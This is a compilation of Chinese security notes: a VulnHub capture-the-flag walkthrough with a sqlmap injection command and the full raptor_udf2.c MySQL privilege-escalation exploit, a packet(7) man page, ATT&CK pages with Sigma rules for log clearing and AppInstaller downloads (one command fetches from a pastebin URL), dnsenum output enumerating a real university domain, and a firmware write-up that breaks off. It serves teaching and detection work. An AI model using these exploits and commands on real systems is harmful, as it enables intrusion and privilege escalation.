# Lord of the Root 1.0.1 下载地址:https://download.vulnhub.com/lordoftheroot/LordOfTheRoot\_1.0.1.ova ## 信息收集 发现靶场IP地址:`192.168.32.153` ![image-20220609172940244](../../.gitbook/assets/image-20220609172940244.png) 扫描对外端口,发现只开启22端口。 ![image-20220609173428050](../../.gitbook/assets/image-20220609173428050.png) SSH连接,发现这段提示:`Easy as 1,2,3` ![image-20220609173513789](../../.gitbook/assets/image-20220609173513789.png) 使用knock 对1,2,3端口进行敲击 ``` ┌──(root💀kali)-[~/Desktop] └─# knock 192.168.32.153 1 2 3 ``` 可以看到1337端口已经打开。 ![image-20220609175312516](../../.gitbook/assets/image-20220609175312516.png) 浏览器访问1337端口 ![image-20220609175447348](../../.gitbook/assets/image-20220609175447348.png) 收集WEB系统的基本信息 ![image-20220609175649589](../../.gitbook/assets/image-20220609175649589.png) 访问robots.txt ![image-20220609180139963](../../.gitbook/assets/image-20220609180139963.png) 查看页面源代码,找到一串疑似base64加密字符串。 ``` THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh ``` ![image-20220609180212802](../../.gitbook/assets/image-20220609180212802.png) 这段字符串是经过**两层**base64加密,解密成功获取到一下URL ``` /978345210/index.php ``` ![image-20220610094542855](../../.gitbook/assets/image-20220610094542855.png) 访问URL ![image-20220610094734027](../../.gitbook/assets/image-20220610094734027.png) ## 注入 使用SQLMAP进行SQL注入攻击 ``` ┌──(root💀kali)-[/tmp] └─# sqlmap -u http://192.168.32.153:1337/978345210/index.php --forms --dbs --risk=3 --level=5 --dbms=mysql --batch ``` 获取`users`表信息 ``` Database: Webapp Table: Users [5 entries] +----+------------------+----------+ | id | password | username | +----+------------------+----------+ | 1 | iwilltakethering | frodo | | 2 | MyPreciousR00t | smeagol | | 3 | AndMySword | aragorn | | 4 | AndMyBow | legolas | | 5 | AndMyAxe | gimli | +----+------------------+----------+ ``` 可以ssh到**smeagol**账号 ![image-20220610100725692](../../.gitbook/assets/image-20220610100725692.png) ## 提权 ### 内核提权 这个靶场有`CVE-2015-8660`提权漏洞 ![image-20220610101119586](../../.gitbook/assets/image-20220610101119586.png) ### UDF提权 EXP ``` /* * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $ * * raptor_udf2.c - dynamic library for do_system() MySQL UDF * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> * * This is an helper dynamic library for local privilege escalation through * MySQL run with root privileges (very bad idea!), slightly modified to work * with newer versions of the open-source database. Tested on MySQL 4.1.14. * * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c * * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes * for the security vulnerabilities in the handling of User Defined Functions * (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further * details, please refer to: * * http://dev.mysql.com/doc/refman/5.0/en/udf-security.html * http://www.wisec.it/vulns.php?page=4 * http://www.wisec.it/vulns.php?page=5 * http://www.wisec.it/vulns.php?page=6 * * "UDFs should have at least one symbol defined in addition to the xxx symbol * that corresponds to the main xxx() function. These auxiliary symbols * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and * xxx_add() functions". -- User Defined Functions Security Precautions * * Usage: * $ id * uid=500(raptor) gid=500(raptor) groups=500(raptor) * $ gcc -g -c raptor_udf2.c * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc * $ mysql -u root -p * Enter password: * [...] * mysql> use mysql; * mysql> create table foo(line blob); * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so')); * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so'; * mysql> create function do_system returns integer soname 'raptor_udf2.so'; * mysql> select * from mysql.func; * +-----------+-----+----------------+----------+ * | name | ret | dl | type | * +-----------+-----+----------------+----------+ * | do_system | 2 | raptor_udf2.so | function | * +-----------+-----+----------------+----------+ * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out'); * mysql> \! sh * sh-2.05b$ cat /tmp/out * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) * [...] * * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys * */ #include <stdio.h> #include <stdlib.h> enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT}; typedef struct st_udf_args { unsigned int arg_count; // number of arguments enum Item_result *arg_type; // pointer to item_result char **args; // pointer to arguments unsigned long *lengths; // length of string args char *maybe_null; // 1 for maybe_null args } UDF_ARGS; typedef struct st_udf_init { char maybe_null; // 1 if func can return NULL unsigned int decimals; // for real functions unsigned long max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant } UDF_INIT; int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { if (args->arg_count != 1) return(0); system(args->args[0]); return(0); } char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { return(0); } // milw0rm.com [2006-02-20] ``` 找到MySQL的账号密码 ``` $db = new mysqli('localhost', 'root', 'darkshadow', 'Webapp'); ``` ![image-20220610103259037](../../.gitbook/assets/image-20220610103259037.png) 按照 EXP脚本提示,提权成功 ![image-20220610104123154](../../.gitbook/assets/image-20220610104123154.png) ### 缓冲区溢出 学过缓冲区溢出提权,都会了解到SECRET文件夹目录,我们来找找 ``` smeagol@LordOfTheRoot:/tmp$ find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null -rwsr-xr-x 1 root root 30112 May 15 2015 /bin/fusermount -rwsr-xr-x 1 root root 35300 Jul 15 2015 /bin/su -rwsr-xr-x 1 root root 88752 Aug 4 2015 /bin/mount -rwsr-xr-x 1 root root 38932 May 7 2014 /bin/ping -rwsr-xr-x 1 root root 67704 Aug 4 2015 /bin/umount -rwsr-xr-x 1 root root 43316 May 7 2014 /bin/ping6 -rwsr-xr-x 1 root root 7370 Sep 17 2015 /SECRET/door2/file -rwsr-xr-x 1 root root 5150 Sep 22 2015 /SECRET/door1/file -rwsr-xr-x 1 root root 7370 Sep 17 2015 /SECRET/door3/file -rwsr-xr-x 1 root root 18168 Mar 4 2015 /usr/bin/pkexec -rwsr-xr-x 1 root root 45420 Jul 15 2015 /usr/bin/passwd -rwsr-xr-x 1 root root 35916 Jul 15 2015 /usr/bin/chsh -rwsr-xr-x 1 root root 44620 Jul 15 2015 /usr/bin/chfn -rwsr-xr-x 1 root root 66252 Jul 15 2015 /usr/bin/gpasswd -rwsr-xr-x 1 root root 30984 Jul 15 2015 /usr/bin/newgrp -rwsr-xr-x 1 root lpadmin 13672 Jun 4 2015 /usr/bin/lppasswd -rwsr-xr-x 1 root root 18136 May 7 2014 /usr/bin/traceroute6.iputils -rwsr-xr-x 1 root root 72860 Oct 21 2013 /usr/bin/mtr -rwsr-xr-x 1 root root 156708 Mar 12 2015 /usr/bin/sudo -rwsr-xr-x 1 root root 9612 Feb 25 2015 /usr/lib/pt_chown -rwsr-xr-- 1 root dip 323000 Apr 21 2015 /usr/sbin/pppd ```
sec-knowleage
.\" This man page is Copyright (C) 1999 Andi Kleen . .\" Permission is granted to distribute possibly modified copies .\" of this page provided the header is included verbatim, .\" and in case of nontrivial modification author and date .\" of the modification is added to the header. .TH PACKET(7) Linux Programmer's Manual PACKET(7) .SH NAME 分组(也译为数据包),PF_PACKET - 在设备层的分组接口 译注:PF_PACKET 中的 PF 是 protocol family(协议族)的缩写。 .SH SYNOPSIS 总览 .nf .B #include <sys/socket.h> .br .B #include <features.h> /* 需要里面的 glibc 版本号 */ .br .B #if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1 .br .B #include <netpacket/packet.h> .br .B #include <net/ethernet.h> /* 链路层(L2)协议 */ .br .B #else .br .B #include <asm/types.h> .br .B #include <linux/if_packet.h> .br .B #include <linux/if_ether.h> /* 链路层协议 */ .br .B #endif .sp .PP .BI packet_socket = socket(PF_PACKET, int socket_type, int protocol); .fi .SH DESCRIPTION 描述 分组套接口(也译为插口或套接字)被用于在设备层(OSI 的链路层) 收发原始(raw )分组。它允许用户在用户空间实现在物理层之上的 协议模块。 对于包含链路层报头的原始分组,socket_type 参数是 SOCK_RAW; 对于去除了链路层报头的加工过的分组,socket_type 参数是 SOCK_DGRAM。链路层报头信息可在作为一般格式的 sockaddr_ll 中 的中得到。socket 的 protocol 参数指的是 IEEE 802.3 的按网络 层排序的协议号,在头文件中有所有被允许的 协议的列表。当 protocol 被设置为 htons(ETH_P_ALL)时,可以接 收所有的协议。到来的此种类型的分组在传送到在内核实现的协议 之前要先传送给分组套接口。 译注:DGRAM 是数据报的意思,htons 函数名是 hosts to networks of a short (16位整数的从主机到网络的字节序变换)的缩写。 只有有效 uid 是 0 或有 CAP_NET_RAW 能力的进程可以打开分组 套接口。 传送到设备和从设备传送来的 SOCK_RAW 分组不改变任何分组数据。 当收到一个 SOCK_RAW 分组时, 地址仍被分析并传送到一个标准的 sockaddr_ll 地址结构中。当发送一个 SOCK_RAW 分组时, 用户供 给的缓冲区应该包含物理层报头。接着此分组不加修改的放入目的 地址定义的接口的网络驱动程序的队列中。一些设备驱动程序总是 增加其他报头。SOCK_RAW 分组与已被废弃的 Linux 2.0 的 SOCK_PACKET 分组类似但不兼容。 对 SOCK_DGRAM 分组的操作要稍微高一层次。在分组被传送到用户 之前物理报头已被去除。从 SOCK_DGRAM分组套接口送出的分组在被 放入网络驱动程序的队列之前,基于在 sockaddr_ll 中的目的地址 得到一个适合的物理层报头。 缺省的所有特定协议类型的分组被发送到分组套接口。为了只从特 定的接口得到分组,使用bind(2)来指定一个在 sockaddr_ll 结构 中的地址,以此把一个分组套接口绑定到一个接口上。只有地址字 段 sll_protocol 和 sll_ifindex 被绑定用途所使用。 不支持在分组套接口上的 connect(2) 操作。(不能作为客户端使用) .SH ADDRESS TYPES 地址类型 sockaddr_ll 是设备无关的物理层地址。 .RS .nf .ta 4n 20n 35n struct sockaddr_ll { unsigned short sll_family; /* 总是 AF_PACKET */ unsigned short sll_protocol; /* 物理层的协议 */ int sll_ifindex; /* 接口号 */ unsigned short sll_hatype; /* 报头类型 */ unsigned char sll_pkttype; /* 分组类型 */ unsigned char sll_halen; /* 地址长度 */ unsigned char sll_addr[8]; /* 物理层地址 */ }; .ta .fi .RE sll_protocol 是在 linux/if_ether.h 头文件中定义的按网络层排 序的标准的以太桢协议类型。sll_ifindex 是接口的索引号(参见 netdevice(2));0 匹配所有的接口(当然只有合法的才用于绑定)。 sll_hatype 是在 linux/if_arp.h 中定义的 ARP 硬件地址类型。 sll_pkttype 包含分组类型。有效的分组类型是:目标地址是本地 主机的分组用的 PACKET_HOST,物理层广播分组用的 PACKET_BROADCAST ,发送到一个物理层多路广播地址的分组用的 PACKET_MULTICAST, 在混杂(promiscuous)模式下的设备驱动器发向其他主机的分组用的 PACKET_OTHERHOST,本源于本地主机的分组被环回到分组套接口用 的 PACKET_OUTGOING。这些类型只对接收到的分组有意义。sll_addr 和 sll_halen 包括物理层(例如 IEEE 802.3)地址和地址长度。精确 的解释依赖于设备。 译注: (1) 对于以太网(ethernet) OSI 模型不完全适用,以太桢定义包 括物理层和链路层的基本内容, 所谓的以太桢协议类型标识的是网络 层的协议。IEEE 802 委员会为与 OSI 相一致,把以太桢定义称为 MAC(medium access control)层,在 MAC 层与网络层之间加入 LLC (logical link control)层,补充上了 OSI 标准的链路层。但在BSD TCP/IP 中是为了兼容官方标准才被实现的。对于 TCP/IP 协议族 OSI 模型也不完全适用,TCP/IP 没定义链路层,只能用 UNIX 的设 备驱动程序去对应链路层。无论如何这是既成事实,在本手册页中物 理层、链路层、设备层指的都是以太网的 MAC 层。余以为不必严格 按层次划分去理解问题,现在这个协议栈是优胜劣汰的结果,不是委 员会讨论出来的。 (2) 以太网地址分为三类,物理地址(最高位为0),多路广播地址 (最高位为1),广播地址(全是1)。以 DP8390 为例,它的接收配置 寄存器的 D2 位用来指定 NIC 是否接受广播桢,D3 位用来指定 NIC 是否对多路广播桢进行过滤,D4 位用来指定 NIC是否接受所有的物 理地址桢。混杂(Promiscuous)模式就是接收所有物理地址桢。 .SH SOCKET OPTIONS 套接口选项 分组套接口可被用来配置物理层的多路广播和混杂模式。配置通过调用 setsockopt(2)实现,套接口参数是一个分组套接口、层次参数为 SOL_PACKET 、选项参数中的 PACKET_ADD_MEMBERSHIP 用于增加一 个绑定,选项参数中的 PACKET_DROP_MEMBERSHIP 用于删除一个绑 定。两个选项都需要作为参数的 packet_mreq 结构: .RS .nf .ta 4n 20n 35n struct packet_mreq { int mr_ifindex; /* 接口索引号 */ unsigned short mr_type; /* 动作 */ unsigned short mr_alen; /* 地址长度 */ unsigned char mr_address[8]; /* 物理层地址 */ }; .ta .fi .RE mr_ifindex 包括接口的接口索引号,mr_ifindex 的状态是可以改 变的。mr_type 参数指定完成那个动作。PACKET_MR_PROMISC 允许 接收在共享介质上的所有分组,这种接受状态常被称为混杂模式; PACKET_MR_MULTICAST 把套接口绑定到由mr_address 和 mr_alen 指定的物理层多路广播组上;PACKET_MR_ALLMULTI 设置套接口接 收所有的来到接口的多路广播分组。 除此之外传统的 ioctls 如 SIOCSIFFLAGS, SIOCADDMULTI, SIOCDELMULTI 也能用于实现同样的目的。 .SH IOCTLS 输入输出控制 SIOCGSTAMP 用来接收最新收到的分组的时间戳。它的参数是 timeval 结构。 除此之外,所有的在 netdevice(7) 和 socket(7) 中定义的标准 的 ioctl 在分组套接口上均有效。 .SH ERROR HANDLING 错误处理 分组套接只对传送分组到设备驱动程序时发生的错误做错误处理, 其他不做错误处理。这里没有等待解决的错误的概念。 .SH COMPATIBILITY 兼容性 在 Linux 2.0 中,得到分组套接口的唯一方法是调用 socket(PF_INET, SOCK_PACKET, protocol)。它仍被支持但变得 没有价值。两种方法的主要不同在于 SOCK_PACKET 使用老的 sockaddr_pkt 结构来指定一个接口,没有提供物理层接口无关性。 (依赖于物理设备) .RS .nf .ta 4n 20n 35n struct sockaddr_pkt { unsigned short spkt_family; unsigned char spkt_device[14]; unsigned short spkt_protocol; }; .ta .fi .RE spkt_family 包括设备类型,spkt_protocol 是在 中定义的 IEEE 802.3 协议类型,spkt_device 是表示设备名的 null 终结的字符串,例如 eth0。 译注: "who is nntp" 就是一个以 null ('\0')终结的字符串。 这个结构已经被废弃,不应在新的代码中使用。 .SH NOTES 注意 不建议对要求可移植的程序通过 pcap(3) 使用 PF_PACKET 协议族; 它只覆盖了 PF_PACKET 特征的一个子集。 译注:该函数库可在 ftp://ftp.ee.lbl.gov/libpcap.tar.Z 得到。 SOCK_DGRAM 分组套接口对 IEEE 802.3 桢不做生成或分析 IEEE 802.2 LLC 报头的尝试。当在套接口中指定了 ETH_P_802_3 协议, 告知内核生成 802.3 桢,并填写了长度字段;用户必须提供提供 LLC 报头来产生符合标准的分组。到来的 802.3 分组不在协议 字段 DSAP/SSAP 上实现多路复用;而是故意的把 ETH_P_802_2 协议的 LLC 报头提供给用户。所以不可能绑定到 ETH_P_802_3; 而可以绑定到 ETH_P_802_2 并自己做多路复用。缺省的发送的是 标准的以太网 DIX 封装并填写协议字段。 译注: 长度字段和协议字段其实都是以太桢的第四字段,这个字段 的值在小于 1518 时表示此以太桢是 IEEE 802.3 桢,在大于1536 时表示此以太桢是 DIX 桢。DIX 中的 D 代表 DEC,I 代表 Intel, X 代表 Xerox。 分组套接口不是输入或输出防火墙的系列主题。 .SH ERRORS 错误信息 .TP .B ENETDOWN 接口未启动。 .TP .B ENOTCONN 未传递接口地址。 .TP .B ENODEV 在接口地址中指定了未知的设备名或接口索引。 .TP .B EMSGSIZE 分组比接口的 MTU(最大传输单元)大。 .TP .B ENOBUFS 没有足够的内存分配给分组。 .TP .B EFAULT 用户传递了无效的地址。 .TP .B EINVAL 无效参数。 .TP .B ENXIO 接口地址包含非法接口索引号。 .TP .B EPERM 用户没有足够的权限来执行这个操作。 .TP .B EADDRNOTAVAIL 传递了未知的多路广播组地址。 .TP .B ENOENT 未收到分组。 除此之外,底层的驱动程序可能产生其他的错误信息。 .SH VERSIONS 版本 PF_PACKET 是 Linux 2.2 的新特征。Linux 的早期版本只支持 SOCK_PACKET。 .SH BUGS 缺陷 glibc 2.1 没有定义 SOL_PACKET。建议的补救是使用 .RS .nf #ifndef SOL_PACKET #define SOL_PACKET 263 #endif .fi .RE 在此以后的 glibc 版本中更正了错误并且在 libc5 系统上不会发生。 没有对 IEEE 802.2/803.3 LLC 的处理被认为是缺陷。 套接口过滤器未归入文档。 .SH CREDITS 贡献者 本手册页是 Andi Kleen 写的,他得到了 Matthew Wilcox 的帮助。 在 Linux 2.2 中的 PF_PACKET 是 Alexey Kuznetsov 实现的,他 的实现是以 Alan Cox 和其他人的代码为基础的。 .SH SEE ALSO 参见 .BR ip(7), socket(7), socket(2), raw(7), pcap(3). .BR RFC 894 - IP 数据报的 Ethernet 桢封装标准。 .BR RFC 1700 - IP 数据报的 IEEE 802.3 桢封装标准。 .BR 头文件 linux/if_ether.h 包含物理层协议。 .SH "[中文版维护人]" .B mhss <jijingzhisheng@up369.com> .SH "[中文版最新更新]" .BR 2000/10/15 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# T1070-001-windows-清除事件日志 ## 来自ATT&CK的描述 攻击者可能试图阻止由监测软件或进程捕获到的告警,以及事件日志被收集和分析。这可能包括修改配置文件或注册表项中的监测软件的设置,以达到逃避追踪的目的。 在基于特征监测的情况下,攻击者可以阻止监测特征相关的数据被发送出去,以便于阻止安全人员进行分析。这可以有很多方式实现,例如停止负责转发的进程(splunk转发器、Filebate、rsyslog等)。 具体案例,你可以参考绕过sysmon相关的文章。(PS:英语不好、谷歌翻译真心,,,太难了)。 ## 测试案例 在正常的操作期间内,事件日志不太可能会被刻意清除。但是恶意攻击者可能会通过清除事件日志来尝试掩盖自己的踪迹。当事件日志被清除时,它是可疑的。发现“清除事件日志”时可能意味着有恶意攻击者利用了此项技术。 集中收集事件日志的一个好处就是使攻击者更难以掩盖他们的踪迹,事件转发允许将收集到的系统事件日志发送给多个收集器(splunk、elk等),从而实现冗余事件收集。使用冗余事件收集,可以最大限度的帮助我们发现威胁。 ## 检测日志 windows security windows system ## 测试复现 进入windows事件查看器 windows日志>系统日志>清除日志 windows日志>安全日志>清除日志 ## 测试留痕 暂无 ## 检测规则/思路 ### sigma ```yml title: windows 日志清除 description: win7 and windows server 2003模拟测试结果 status: experimental author: 12306Bro logsource: ​ product: windows ​ service: security detection: ​ selection: ​ EventID: ​ - 1102 ​ - 517 ​ condition: selection level: medium ``` ```yml title: windows 日志清除 description: win7 模拟测试结果 status: experimental author: 12306Bro logsource: ​ product: windows ​ service: system detection: ​ selection: ​ EventID: 104 ​ condition: selection level: medium ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1070-001 <https://attack.mitre.org/techniques/T1070/001/>
sec-knowleage
--- title: dnsenum categories: Information Gathering tags: [dns,kali linux,dnsenum,information gathering,recon] date: 2016-10-20 11:00:00 --- 0x00 dnsenum介绍 ------------- 多线程perl脚本枚举域的DNS信息并发现非连续的IP段工具 主要功能: ```plain - 获取主机的地址(A记录) - 获取名称服务器(线程) - 获取MX记录(线程化) - 对名称服务器执行axfr查询并获取BIND VERSION(线程化) - 通过Google抓取获取额外的名称和子域(google query = “allinurl: -www site:domain”) - 读取文件爆破子域,也可以对具有NS记录的子域执行递归查询(开启所有线程) - 计算C类域网络范围并对其执行whois查询(线程化) - 对网络(C类或/和whois网络)执行反向查找(线程化) - 将ip段写入domain_ips.txt文件 ``` 工具来源:https://github.com/fwaeytens/dnsenum [dnsenum主页][1] | [Kali dnsenum Repo仓库][2] - 作者:Filip Waeytens, tix tixxDZ - 证书:GPLv2 0x01 dnsenum功能 --------------- ```shell root@kali:~# dnsenum -h dnsenum.pl VERSION:1.2.3 用法:dnsenum.pl [选项] <域> [选项]: 注意:'-f'选项是用于穷举爆破的 一般选项:   --dnsserver <server> 将此DNS服务器用于A,NS和MX查询   --enum 快捷方式选项相当于--threads 5 -s 15 -w   -h,--help 打印此帮助消息   --noreverse 跳过反向查找操作   --nocolor 禁用ANSIColor输出   --private 显示并在文件domain_ips.txt的末尾保存私有IP   --subfile <file> 将所有有效的子域写入此文件   -t,--timeout <value> tcp和udp超时值(以秒为单位,默认值:10s)   --threads <value> 将执行不同查询的线程数   -v,--verbose 详细信息:显示所有进度和所有错误消息。 Google抓取选项:   -p,--pages <value> 抓取名称时要处理的Google搜索页面数,默认值为5页,必须指定-s开关   -s,--scrap <value> 将从Google抓取的子域的最大数量(默认值为15) 子域穷举选项:   -f,--file <file> 从此文件读取子域进行爆破   -u,--update <a|g|r|z> 向使用-f开关指定的文件更新有效的子域 a(all) 使用所有结果更新。 g 仅使用Google抓取结果更新 r 仅使用反向查找结果进行更新 z 仅使用zonetransfer结果更新   -r,--recursion 递归子域,穷举具有NS记录的所有子域 WHOIS网络选项:   -d,--delay <value> 在whois查询之间等待的最大值(秒),该值自定义,默认值:3s   -w,--whois 在c类网络范围上执行whois查询 **警告**:这可能会产生非常大的网络流量,它需要大量的时间来执行反向查找 反向查找选项:   -e,--exclude <regexp> 从反向查找结果中排除与regexp表达式匹配的PTR记录,对无效主机名非常有用 输出选项:   -o --output <file> 以XML格式输出,以便可以在MagicTree中导入(www.gremwell.com) ``` 0x02 dnsenum用法示例 ----------------- ```shell root@kali:~# dnsenum -f possible_subdomain.txt --subfile subdomain.txt --threads 2 -w -r cuit.edu.cn dnsenum.pl VERSION:1.2.3 Warning: can't load Net::Whois::IP module, whois queries disabled. ----- cuit.edu.cn ----- Host's addresses: __________________ Name Servers: ______________ dns.cuit.edu.cn. 5 IN A 210.41.224.33 Mail (MX) Servers: ___________________ mailw.cuit.edu.cn. 5 IN A 210.41.224.45 Trying Zone Transfers and getting Bind Versions: _________________________________________________ unresolvable name: dns2.cuit.edu.cn at /usr/bin/dnsenum line 842 thread 2. Trying Zone Transfer for cuit.edu.cn on dns2.cuit.edu.cn ... AXFR record query failed: no nameservers Trying Zone Transfer for cuit.edu.cn on dns.cuit.edu.cn ... AXFR record query failed: REFUSED Brute forcing with possible_subdomain.txt: ___________________________________________ www.cuit.edu.cn. 5 IN A 210.41.224.132 wlzf.cuit.edu.cn. 5 IN A 210.41.225.229 acm.cuit.edu.cn. 5 IN A 210.41.225.250 wlcc.cuit.edu.cn. 5 IN A 210.41.228.67 jhcwc.cuit.edu.cn. 5 IN A 210.41.224.220 bylw.cuit.edu.cn. 5 IN A 210.41.224.237 pkxt.cuit.edu.cn. 5 IN A 210.41.229.132 pan.cuit.edu.cn. 5 IN A 210.41.224.210 dzgcxy.cuit.edu.cn. 5 IN A 210.41.224.220 kzgcxy.cuit.edu.cn. 5 IN A 210.41.224.220 yjsc.cuit.edu.cn. 5 IN A 210.41.225.22 hqc.cuit.edu.cn. 5 IN A 210.41.224.220 wpgz.cuit.edu.cn. 5 IN A 210.41.229.135 jszx.cuit.edu.cn. 5 IN A 210.41.225.21 xyw.cuit.edu.cn. 5 IN A 210.41.224.220 gjjl.cuit.edu.cn. 5 IN A 210.41.224.220 math.cuit.edu.cn. 5 IN A 210.41.224.220 jwc.cuit.edu.cn. 5 IN A 210.41.225.108 jxpt.cuit.edu.cn. 5 IN A 210.41.228.119 wlcc.cuit.edu.cn. 5 IN A 210.41.228.67 xsc.cuit.edu.cn. 5 IN A 210.41.224.206 exam.cuit.edu.cn. 5 IN A 222.18.158.220 Performing recursion: ______________________ ---- Checking subdomains NS records ---- Can't perform recursion no NS records. cuit.edu.cn class C netranges: _______________________________ 210.41.224.0/24 210.41.225.0/24 210.41.228.0/24 210.41.229.0/24 222.18.158.0/24 Performing reverse lookup on 1280 ip addresses: ________________________________________________ 34.224.41.210.in-addr.arpa. 86400 IN PTR dnsu.cuit.edu.cn. 36.224.41.210.in-addr.arpa. 86400 IN PTR dns.cuit.edu.cn. 40.224.41.210.in-addr.arpa. 86400 IN PTR jwc.cuit.edu.cn. 130.224.41.210.in-addr.arpa. 86400 IN PTR www.cuit.edu.cn. 131.224.41.210.in-addr.arpa. 86400 IN PTR ftp.cuit.edu.cn. 130.224.41.210.in-addr.arpa. 86400 IN PTR dep.cuit.edu.cn. 206.224.41.210.in-addr.arpa. 86400 IN PTR xsc.cuit.edu.cn. ``` [1]: https://github.com/fwaeytens/dnsenum [2]: https://github.com/fwaeytens/dnsenum
sec-knowleage
# T1105-win-入口工具转移-AppInstaller.exe(白名单、失效) ## 来自ATT&CK的描述 攻击者可能会将工具或其他文件从外部系统转移到被攻击的环境中。可以通过命令和控制通道从外部攻击者控制的系统复制文件,用以将工具带入被攻击的网络中,或通过其他工具(如 FTP)的替代协议。 也可以使用 scp、rsync 和 sftp等本地工具在Mac和 Linux上复制文件。 ## 测试案例 AppInstaller.exe用于在 Windows 10 上安装AppX/MSIX应用程序的工具。 **路径:** ``` C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe ``` AppInstaller.exe 由 URI 的默认处理程序生成,它尝试从 URL 加载/安装包并保存在 ``` C:\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\<RANDOM-8-CHAR-DIRECTORY> ``` 用例:从 Internet 下载文件 所需权限:用户 操作系统:Windows 10 ## 检测日志 windows安全日志 ## 测试复现 ``` C:\Users\liyang>start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw ``` 不过很遗憾,微软禁用ms-appinstaller 协议,用以阻止恶意软件传播。 ## 测试留痕 无 ## 检测方法/思路 这里参考Sigma官方规则。 ``` title: AppInstaller Attempts From URL by DNS id: 7cff77e1-9663-46a3-8260-17f2e1aa9d0a description: AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL status: experimental date: 2021/11/24 author: frack113 tags: - attack.command_and_control - attack.t1105 references: - https://twitter.com/notwhickey/status/1333900137232523264 - https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/ logsource: product: windows category: dns_query detection: selection: Image|startswith: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_ Image|endswith: \AppInstaller.exe condition: selection falsepositives: - Unknown level: medium ``` ## 参考推荐 MITRE-ATT&CK-T1105 <https://attack.mitre.org/techniques/T1105> AppInstaller.exe <https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/> Sigma-win_dq_lobas_appinstaller <https://github.com/SigmaHQ/sigma/blob/bdb00f403fd8ede0daa04449ad913200af9466ff/rules/windows/dns_query/win_dq_lobas_appinstaller.yml>
sec-knowleage
# Firmware RE ## Description: > After unpacking the firmware archive, you now have a binary in which to go hunting. Its now time to walk around the firmware and see if you can find anything. A binary file was attached. ## Solution: Let's inspect the binary file: ```console root@kali:/media/sf_CTFs/google/firmware# file 9522120f36028c8ab86a37394903b100ce90b81830cee9357113c54fd3fc84bf 9522120f36028c8ab86a37394903b100ce90b81830cee9357113c54fd3fc84bf: Zip archive data, at least v2.0 to extract ``` Unzip it: ```console root@kali:/media/sf_CTFs/google/firmware# unzip 9522120f36028c8ab86a37394903b100ce90b81830cee9357113c54fd3fc84bf Archive: 9522120f36028c8ab86a37394903b100ce90b81830cee9357113c54fd3fc84bf extracting: challenge.ext4.gz ``` Extract that: ```console root@kali:/media/sf_CTFs/google/firmware# gunzip challenge.ext4.gz root@kali:/media/sf_CTFs/google/firmware# ls 9522120f36028c8ab86a37394903b100ce90b81830cee9357113c54fd3fc84bf challenge.ext4 ``` Let's try to mount the file system: ```console root@kali:/media/sf_CTFs/google/firmware# mount challenge.ext4 /media/m mount: /media/m: wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error. ``` Is it really ext4? ```console root@kali:/media/sf_CTFs/google/firmware# file challenge.ext4 challenge.ext4: Linux rev 1.0 ext4 filesystem data, UUID=00ed61e1-1230-4818-bffa-305e19e53758 (extents) (64bit) (large files) (huge files) ``` Seems so. Any errors? ```console root@kali:/media/sf_CTFs/google/firmware# e2fsck challenge.ext4 e2fsck 1.44.1 (24-Mar-2018) challenge.ext4: clean, 10889/76912 files, 236741/307200 blocks ``` Looks ok. At last, I try to copy from NTFS share to local file system: ```console root@kali:/media/sf_CTFs/google/firmware# cp challenge.ext4 ~/CTFs/google/ root@kali:~/CTFs/google# mount challenge.ext4 /media/m root@kali:/media/m# ls -al /media/m total 44 drwxr-xr-x 22 root root 1024 Jun 22 16:54 . drwxr-xr-x 6 root root 4096 Nov 26 22:54 .. drwxr-xr-x 2 root root 3072 Jun 22 16:54 bin drwxr-xr-x 2 root root 1024 Jun 22 16:54 boot drwxr-xr-x 4 root root 1024 Jun 22 16:54 dev drwxr-xr-x 52 root root 4096 Jun 22 16:54 etc drwxr-xr-x 2 root root 1024 Jun 22 16:54 home drwxr-xr-x 12 root root 1024 Jun 22 16:54 lib drwxr-xr-x 2 root root 1024 Jun 22 16:54 lib64 drwx------ 2 root root 12288 Jun 22 16:51 lost+found drwxr-xr-x 2 root root 1024 Jun 22 16:54 media -rw-r--r-- 1 root root 40 Jun 22 16:54 .mediapc_backdoor_password.gz drwxr-xr-x 2 root root 1024 Jun 22 16:54 mnt drwxr-xr-x 2 root root 1024 Jun 22 16:54 opt drwxr-xr-x 2 root root 1024 Jun 22 16:54 proc drwx------ 2 root root 1024 Jun 22 16:54 root drwxr-xr-x 4 root root 1024 Jun 22 16:54 run drwxr-xr-x 2 root root 3072 Jun 22 16:54 sbin drwxr-xr-x 2 root root 1024 Jun 22 16:54 srv drwxr-xr-x 2 root root 1024 Jun 22 16:54 sys drwxr-xr-x 2 root root 1024 Jun 22 16:54 tmp drwxr-xr-x 10 root root 1024 